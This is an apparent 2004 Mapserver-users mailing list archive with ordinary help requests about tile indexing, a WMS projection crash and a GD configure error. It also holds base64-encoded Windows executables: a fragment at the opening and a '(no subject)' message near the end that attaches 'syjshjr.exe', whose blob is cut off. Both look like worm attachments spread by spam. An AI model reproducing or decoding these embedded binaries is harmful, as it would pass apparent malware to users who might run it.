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 ----------412388262213380-- From antonio.cosenza at polito.it Mon Mar 29 01:13:05 2004 From: antonio.cosenza at polito.it (Antonio Cosenza) Date: Mon, 29 Mar 2004 11:13:05 +0200 Subject: [Mapserver-users] tile indexing - the same problem Message-ID: <4067E8A1.5080501@polito.it> This is a multi-part message in MIME format. --------------020600020104030806010106 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Hi guys, I'm always in trouble with mapserver tileindexing..... This is my situation: shapefile and dbf (you can see the fields in the attached file) of rectangular polygons, representing the footprints of my jpeg tiles. In the "Location" field I put the absolute path to my tiles on my linux box... This is also my mapfile: MAP NAME "catalogue" STATUS ON EXTENT 313376 3933747 1312118 5220507 SIZE 500 400 SHAPEPATH "./dati" SYMBOLSET "./etc/symbols.sym" FONTSET "./etc/fonts.txt" IMAGECOLOR 255 255 255 UNITS METERS IMAGETYPE PNG WEB IMAGEPATH "/tmp/ms_tmp/" IMAGEURL "/ms_tmp/" END REFERENCE STATUS ON IMAGE "./dati/italia.png" SIZE 200 243 EXTENT 317500 3926986 1335738 5232066 COLOR -1 -1 -1 OUTLINECOLOR 255 0 0 END QUERYMAP STATUS ON SIZE 500 400 COLOR 255 0 0 STYLE HILITE END SCALEBAR STATUS ON COLOR 0 0 0 UNITS KILOMETERS SIZE 200 3 STYLE 0 INTERLACE ON END LAYER NAME "capoluoghi" GROUP "Capoluoghi" STATUS ON DATA "./capoluoghi" TYPE POINT LABELITEM "nome" LABELMINSCALE 1 LABELMAXSCALE 5000000 CLASS NAME "capoluoghi" MINSCALE 1 MAXSCALE 5000000 SYMBOL 2 COLOR 0 0 0 SIZE 5 LABEL TYPE TRUETYPE FONT "fritqat-bold" SIZE 8 POSITION AUTO ANGLE AUTO COLOR 255 0 0 ANTIALIAS TRUE PARTIALS FALSE END END END LAYER NAME "Raster" STATUS DEFAULT TYPE RASTER TILEINDEX "./Raster.shp" TILEITEM "Location" MAXSCALE 10000000 END END What is going wrong?? I can't see the tiles !! I used the mapfile with maplab also , it seems to find the correct path trough the location field, but it returns me this kind of error: Error Parsing *catalogo_tile.map* Description (/var/www/maplab/htdocs/mapedit/felip/home/root/tileindex/F3-I19.jpg) in /maplab/htdocs/common/wrapper/drawmap.php (/var/www/maplab/htdocs/mapedit/felip/home/root/tileindex/F3-J19.jpg) in /maplab/htdocs/common/wrapper/drawmap.php (/var/www/maplab/htdocs/mapedit/felip/home/root/tileindex/F3-K19.jpg) in /maplab/htdocs/common/wrapper/drawmap.php (/var/www/maplab/htdocs/mapedit/felip/home/root/tileindex/F3-P19.jpg) in /maplab/htdocs/common/wrapper/drawmap.php (/var/www/maplab/htdocs/mapedit/felip/home/root/tileindex/F3-Q19.jpg) in /maplab/htdocs/common/wrapper/drawmap.php I don't know what is the problem anymore at this point!! Thanks for your help Bye from Italy! Toni --------------020600020104030806010106 Content-Type: application/octet-stream; name="Raster.dbf" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Raster.dbf" A2gDHQIAAABhAS4BAAAAAAAAAAAAAAAAAAAAAAAAAABTT1RUTy1USVBPAEMAAAAAMgAAAAAA AAAAAAAAAAAAAE5PTUUAAAAAAAAAQwAAAAAyAAAAAAAAAAAAAAAAAAAASUROVAAAAAAAAABO AAAAAA8EAAAAAAAAAAAAAAAAAABOVU1FUk8AAAAAAEMAAAAADwAAAAAAAAAAAAAAAAAAACQk IFhMTksgJCQATgAAAAAKAgAAAAAAAAAAAAAAAAAATEVHQU1FAAAAAABDAAAAADIAAAAAAAAA AAAAAAAAAABSQVNURVIAAAAAAEMAAAAACgAAAAAAAAAAAAAAAAAAAFZFQ1RPUgAAAAAAQwAA AAAKAAAAAAAAAAAAAAAAAAAAU0NIRVJNTyBQSQBOAAAAAAEAAAAAAAAAAAAAAAAAAABMT0NB VElPTgAAAEMAAAAAWgAAAAAAAAAAAAAAAAAAAA0gUm91dGUgOTkgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICBFMi1SMTggICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDAuMDAwMDpFMi1SMTguanBnICAgICAg ICAgIDAuMDA6UmFzdGVyX2pwZzpFMi1SMTguanBnICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgMC92YXIvd3d3L21hcGxhYi9odGRvY3MvbWFwZWRp dC9mZWxpcC9ob21lL3Jvb3QvdGlsZWluZGV4L0UyLVIxOC5qcGcgICAgICAgICAgICAgICAg ICAgICAgICBSb3V0ZSA5OSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIEUyLVIxNyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgMC4wMDAwOkUyLVIxNy5qcGcgICAgICAgICAgMC4wMDpSYXN0ZXJfanBnOkUy LVIxNy5qcGcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAwL3Zhci93d3cvbWFwbGFiL2h0ZG9jcy9tYXBlZGl0L2ZlbGlwL2hvbWUvcm9vdC90aWxl aW5kZXgvRTItUjE3LmpwZyAgICAgICAgICAgICAgICAgICAgICAgGg== --------------020600020104030806010106-- From craig.gould at bt.com Mon Mar 29 04:40:04 2004 From: craig.gould at bt.com (craig.gould at bt.com) Date: Mon, 29 Mar 2004 13:40:04 +0100 Subject: [Mapserver-users] WMS Projection Error Causing Mapserver to Crash (Win32) Message-ID: <7497DCA1C240C042B28F6657ADFD8E09667C19@i2km11-ukbr.domain1.systemhost.net> This is a multi-part message in MIME format. ------_=_NextPart_001_01C4158A.F5D90243 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hi, I've been trying to set up a WMS server for some UK Ordnance Survey maps. The map uses some MapInfo layers that I inherited from elsewhere, all using the British National Grid projection. I have set up a WMS server on a machine which responds correctly to the GetCapabilities request. It also responds with a map if I use a Url such as=20 http://myIPAddress/cgi-bin/MapServ40.exe?map=3DC:\inetpub\gis\wwwroot\OSM= a pServer\OS.map&SERVICE=3DWMS&VERSION=3D1.1.0&LAYERS=3D&FORMAT=3Dimage%2Fp= ng&TRAN SPARENT=3DTRUE&STYLES=3D&REQUEST=3DGetMap&WIDTH=3D600&HEIGHT=3D480&BBOX=3D= 304499.570 199,207931.455749,304914.609271,208262.998725&EXCEPTIONS=3Dapplication/vn= d .ogc.se_inimage Note this request does NOT contain an SRS parameter. The map returned is correct and in the correct BNG projection. As soon as I add the SRS=3DEPSG:27700 parameter to the URL the cgi application crashes and the browser returns "The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:" - none If I use a WMS client layer to the server in another working map file the following occurrs: 1. Using SRS EPSG:27700 in the WMS SRS metadata crashes the cgi application. 2. Using SRS EPSG:4326 in the WMS SRS metadata returns a map with the requested WMS layers - but in the wrong projection. Am I doing something wrong here? or Is this a bug in the WMS code and is there a work around? Many thanks Craig. p.s I'm using MapServer 4.1 from the windows binaries. Win2K, IIS, Dual hyperthreaded pentium 4 Craig Gould=20 BT Exact tel (01473) 644214 web www.btbrand.bt.com=20 __________________________________________ British Telecommunications plc Registered office: 81 Newgate Street London EC1A 7AJ Registered in England no. 1800000=20 This electronic message contains information from British Telecommunications plc which may be privileged and confidential. The information is intended to be for the use of the individual(s) or entity named above. If you are not the intended recipient, be aware that any disclosure, copying, distribution or use of the contents of this information is prohibited. If you have received this electronic message in error, please notify us by telephone or email (to the number or address above) immediately.=20 Activity and use of the British Telecommunications plc email system is monitored to secure its effective operation and for other lawful business purposes. Communications using this system will also be monitored and may be recorded to secure effective operation and for other lawful business purposes ------_=_NextPart_001_01C4158A.F5D90243 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable WMS Projection Error Causing Mapserver to Crash (Win32)

Hi,

I've been trying to set up a WMS server = for some UK Ordnance Survey maps.
The map uses some MapInfo layers that = I inherited from elsewhere, all using the British National Grid = projection.

I have set up a WMS server on a machine = which responds correctly to the GetCapabilities request.
It also responds with a map if I use a = Url such as

http://myIPAddress/cgi-bin/MapServ40.exe?map=3DC:\inetpub\= gis\wwwroot\OSMapServer\OS.map&SERVICE=3DWMS&VERSION=3D1.1.0&= LAYERS=3D&FORMAT=3Dimage%2Fpng&TRANSPARENT=3DTRUE&STYLES=3D&a= mp;REQUEST=3DGetMap&WIDTH=3D600&HEIGHT=3D480&BBOX=3D304499.57= 0199,207931.455749,304914.609271,208262.998725&EXCEPTIONS=3Dapplicati= on/vnd.ogc.se_inimage

Note this request does NOT contain an = SRS parameter. The map returned is correct and in the correct BNG = projection.

As soon as I add the SRS=3DEPSG:27700 = parameter to the URL the cgi application crashes and the browser = returns
"The = specified CGI application misbehaved by not returning a complete set of = HTTP headers. The headers it did return are:" - = none

If I use a WMS = client layer to the server in another working map file the following = occurrs:

1. Using SRS = EPSG:27700 in the WMS SRS metadata crashes the cgi = application.
2. Using SRS = EPSG:4326 in the WMS SRS metadata returns a map with the requested WMS = layers - but in the wrong projection.

Am I doing = something wrong here?
or
Is this a bug in = the WMS code and is there a work around?

Many = thanks

Craig.


p.s I'm using = MapServer 4.1 from the windows binaries. Win2K, IIS, Dual hyperthreaded = pentium 4



Craig = Gould
BT Exact
tel (01473) 644214
web www.btbrand.bt.com
__________________________________________
British = Telecommunications plc
Registered office: 81 Newgate Street London EC1A 7AJ
Registered in England no. 1800000
This = electronic message contains information from British Telecommunications = plc which may be privileged and confidential. The information is = intended to be for the use of the individual(s) or entity named above. = If you are not the intended recipient, be aware that any disclosure, = copying, distribution or use of the contents of this information is = prohibited. If you have received this electronic message in error, = please notify us by telephone or email (to the number or address above) = immediately. =

Activity and use of the British Telecommunications plc email = system is monitored to secure its effective operation and for other = lawful business purposes. Communications using this system will also be = monitored and may be recorded to secure effective operation and for = other lawful business purposes


------_=_NextPart_001_01C4158A.F5D90243-- From admin at essc.org.ph Mon Mar 29 05:33:45 2004 From: admin at essc.org.ph (ESSC Admin) Date: Mon, 29 Mar 2004 21:33:45 +0800 Subject: [Mapserver-users] mapserv compiling error Message-ID: <001001c41592$761a4c60$0300000a@desktop> This is a multi-part message in MIME format. ------=_NextPart_000_000D_01C415D5.8385FC30 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable When running ./configure on my remote webserver, these errors appear: loading cache ./config.cache checking for gcc... gcc checking whether the C compiler (gcc ) works... yes checking whether the C compiler (gcc ) is a cross-compiler... no checking whether we are using GNU C... yes checking whether gcc accepts -g... yes checking for c++... c++ checking whether the C++ compiler (c++ ) works... yes checking whether the C++ compiler (c++ ) is a cross-compiler... no checking whether we are using GNU C++... yes checking whether c++ accepts -g... yes checking for ranlib... ranlib checking for flex... flex checking for yywrap in -lfl... yes checking for bison... bison -y checking if compiler supports -R... no checking if compiler supports -Wl,-rpath,... yes checking for exp in -lm... yes checking for __gxx_personality_v0 in -lstdc++... no checking how to run the C preprocessor... /lib/cpp checking for ANSI C header files... no checking for strcasecmp... no checking for strncasecmp... no checking for strdup... no checking whether we should include JPEG support... checking for jpeg_read_header in -ljpeg... yes using libjpeg from system libs. checking where FreeType 2.x is installed... checking for FT_Init_FreeType in -lfreetype... yes using libfreetype -lfreetype from system libs. checking where Zlib is installed... checking for zlibVersion in -lz... yes using libz from system libs. checking where PNG is installed... checking for png_init_io in -lpng... yes using libpng from system libs. checking where libXpm is installed... checking for XpmFreeXpmImage in -lXpm... no XPM (libXpm) library cannot be found, possibly needed for GD checking where libiconv is installed... checking for libiconv_open in -liconv... no libiconv library cannot be found, possibly needed for GD checking for GD 2.0.12 or higher... checking for gdImageSetAntiAliased in -lgd... yes checking for gdImageSetAntiAliased in -lgd... (cached) yes configure: error: Could not find gd.h or libgd.a/libgd.so in /usr/local. = Make su re GD 2.0.12 or higher is compiled before calling configure. What should I do next? I a newbie at linux so please bear with me. = Thanks. Regards ------=_NextPart_000_000D_01C415D5.8385FC30 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
When running ./configure on my remote = webserver,=20 these errors appear:
 
 
loading cache = ./config.cache
checking for gcc...=20 gcc
checking whether the C compiler (gcc  ) works... = yes
checking=20 whether the C compiler (gcc  ) is a cross-compiler... = no
checking=20 whether we are using GNU C... yes
checking whether gcc accepts -g...=20 yes
checking for c++... c++
checking whether the C++ compiler = (c++  )=20 works... yes
checking whether the C++ compiler (c++  ) is a=20 cross-compiler... no
checking whether we are using GNU C++... = yes
checking=20 whether c++ accepts -g... yes
checking for ranlib... = ranlib
checking for=20 flex... flex
checking for yywrap in -lfl... yes
checking for = bison...=20 bison -y
checking if compiler supports -R... no
checking if = compiler=20 supports -Wl,-rpath,... yes
checking for exp in -lm... = yes
checking for=20 __gxx_personality_v0 in -lstdc++... no
checking how to run the C=20 preprocessor... /lib/cpp
checking for ANSI C header files... = no
checking=20 for strcasecmp... no
checking for strncasecmp... no
checking for = strdup...=20 no
checking whether we should include JPEG support...
checking for = jpeg_read_header in -ljpeg... = yes
       =20 using libjpeg from system libs.
checking where FreeType 2.x is=20 installed...
checking for FT_Init_FreeType in -lfreetype...=20 yes
        using libfreetype = -lfreetype=20 from system libs.
checking where Zlib is installed...
checking for = zlibVersion in -lz... yes
        = using=20 libz from system libs.
checking where PNG is installed...
checking = for=20 png_init_io in -lpng... = yes
        using=20 libpng from system libs.
checking where libXpm is = installed...
checking=20 for XpmFreeXpmImage in -lXpm... = no
       =20 XPM (libXpm) library cannot be found, possibly needed for GD
checking = where=20 libiconv is installed...
checking for libiconv_open in -liconv...=20 no
        libiconv library cannot = be=20 found, possibly needed for GD
checking for GD 2.0.12 or = higher...
checking=20 for gdImageSetAntiAliased in -lgd... yes
checking for = gdImageSetAntiAliased=20 in -lgd... (cached) yes
configure: error: Could not find gd.h or=20 libgd.a/libgd.so in /usr/local. Make su
re GD 2.0.12 or higher is = compiled=20 before calling configure.
 
What should I do next? I a newbie at = linux so=20 please bear with me. Thanks.
 
Regards
------=_NextPart_000_000D_01C415D5.8385FC30-- From fsbrc at uaf.edu Mon Mar 29 05:47:06 2004 From: fsbrc at uaf.edu (fsbrc at uaf.edu) Date: Mon, 29 Mar 2004 10:47:06 -0300 Subject: [Mapserver-users] (no subject) Message-ID: ----------107038733363372 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------107038733363372 Content-Type: application/x-msdownload; name="syjshjr.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="hdbovvxasew.exe" TVqQAAMAAAAEAAAAUEUAAEwBAgBGU0chAAAAAAAAAADgAA8BCwEAAAAkAAAAPgAAAAAAABK9 AAAAEAAADAAAAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAwAAAAAIAAAAAAAACAAAA AAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADXvQAANAAAAACgAACgAwAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQ AAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAADAAAAAAHRhAAAAIAAAAKAAAAseAAAAAgAA AAAAAAAAAAAAAAAA4AAAwEtFUk5FTDMyLmRsbAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0Fk ZHJlc3MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzb1AAMG9QADDvUAAmAFAAAAQQACco0AA AVBAAAGQQAAAAAAAtEVAAAEAAAD/vUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAA OAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAUAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAaAAAgAAA AAAAAAAAAAAAAAAAAQAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAALSgAADoAgAA AAAAAAAAAACgoAAAFAAAAAAAAAAAAAAAAAABAAEAICAQAAEABADoAgAAAQAoAAAAIAAAAEAA AAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAA gIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAD////wAAAAAAAAAAAAAAD///D///AAAAAAAAAAAAD////w////8AAAAAAAAAAP/w//8P// D/8AAAAAAAAA//////D/////8AAAAAAAD/////////////8AAAAAAA////////8P////AAAA AAD/D///////AP//D/AAAAAA////////8PD////wAAAAD/////////AP/////wAAAA////// //8PD/////8AAAAP////////AP//////AAAADwAA////8PD///AADwAAAA///////w8P//// //8AAAAP//////Dw+f//////AAAAD/////8PD/+f/////wAAAAD////w8P//+f////AAAAAA /w//Dw////+f/w/wAAAAAA//8PD/////+f//AAAAAAAP//8P//////+f/wAAAAAAAP/////w //////AAAAAAAAAP/w//8P//D/8AAAAAAAAAAP////D////wAAAAAAAAAAAA///w///wAAAA AAAAAAAAAAD////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA///////wH///gAP//gAA//wAAH/4AAA/8AAAH+AAAA/AAAAHwAAAB4AA AAOAAAADgAAAAwAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAGAAAADgAAAA4AAAAPAAAAH wAAAB+AAAA/wAAAf+AAAP/wAAH/+AAD//4AD///wH/9VDovsV/yHfQhwTQzB6Q4CM8DjhvOr GRiD4QMVql8cycIIKCN0UzBdDE1qGeg4egJwAIPAYfyqS3XxV1sgwgnoWhkwHgGDxPxT/3Xs 6G5vIjrM2BQQ9GSJA+iDw/RTPmpAmP0hGolFZfwwDAglu4ELwHQzxkgsDCHoOLY3Bn38bSUb gwILDiVTCAkFmIuA6wqhDbagm8hkW/QMclaGnsc64b8D6IalIKg3TRBAINusweD84mcHC0MS 6wumDQMSeQIHSVFqBFlP9LgDitCA4j/B6AbV8/+rLxx7kquY/46DfeYSKXUPUIFQZrgNCtCr WABZC8l1rovLKxL5sD0QNPUoXnwGgPo+cxcKHjN3Db8wQRBadgOAButoDgqnHwnB6j7A4gKb FivPwdbDTafNaMEEqqQNIfAgFfQPiOFk8CjSht9akgEhB/RqwOicVSAKngbw1Qn7GmpcKAQM b1RGeRUF6YWpB0Bo2FJKrxzocllqhgICCTIDaDXAhSwFQFX8QHRcaGOxUejHMCGSRI1F+H9Q qhKRWJpWaBAgxh+japADBy0OSiIlc3R8Cmg9EiQE7OiUUMskDF8zelBiIblo3qJ5KSETu7Qp ecnwAVeNPTBUqDK1AwiJB8cF40VJ0L12hgT3JecbyCr/YoE9hAZw01N1/NJMBEfSIUAhIEEP gsGhghCRcQN1CmgFEQ0O6JD/Akr+OfcZBiURgOReBDCB4zF/C8P2yD/R6L/WDMI0BkEaJjPD +BIBAMx0BTXfsA8ImYkGxMYEkvOBBuNvK3XBP1B0/NEeP6xvQwIy11Iwl2irAiOkFKELRv5I lA0CA/DqMQUghgt1M/LDwCAHJYBWLFKdDCoPjSrG7ww36BKkktL3ad7CNX5dKDQwakkBdCFa IRM5dM1EEjHNUuJFTY74jfzsZYGPAsdCBE2CAiRqzmPKBvgvlhQsTvgxVo0oxwZHKmVGKTEi K0hVQzKQuEKJkiZtKSTojTSjEzhGIXrIisLHAqhai8giEc9Ht0dcKRgzSxEfZLRHdzI1UIjK FRWXOHjmEqRrjDyyYi5SHJXrGJLcHYjIugLE0+Lx4xVrj+HawekFzOsbAQvTD7YYQAOSLu5U VD+hRQwkk1CyhlBMNk2YvFMBS2s0BlPSIhkM9/F8AkVGgLDCgziQ9G8XWplfHRFaiVGYEI90 m0AX6zCLJeEPI9AFCDvBjXUGqShgP4JABOvoUqIx7BwSCNEyyn9Z9DH7QGv8UGgmEVMfOtkz DYDot7kg4fRFCbs0wOtBUk2Oi0AmUzu6MUeF4DK/Qhy+iyqEqLLQs4PAMQuIB0dODabqFzh1 AS029igIEVBJVVmmn+p+QivIOb+XPHtKNJOztjQWhkZHWSMkkQpDRCDQXPASEdkbMhAW4AJ4 +YWLZh7EjNUHDeLZsA3mBjYq2FAqbAm1EtD7USz8G1gN2IFBEIP4ASR1BCMskConhmG4PEMg EqUbjEv/Sh9xLW8bKQGIA5ABjIAz6FQEKfwNQA+EgiYmMRXoMhQP+EB0/GUUNIAY3hqWn0VU 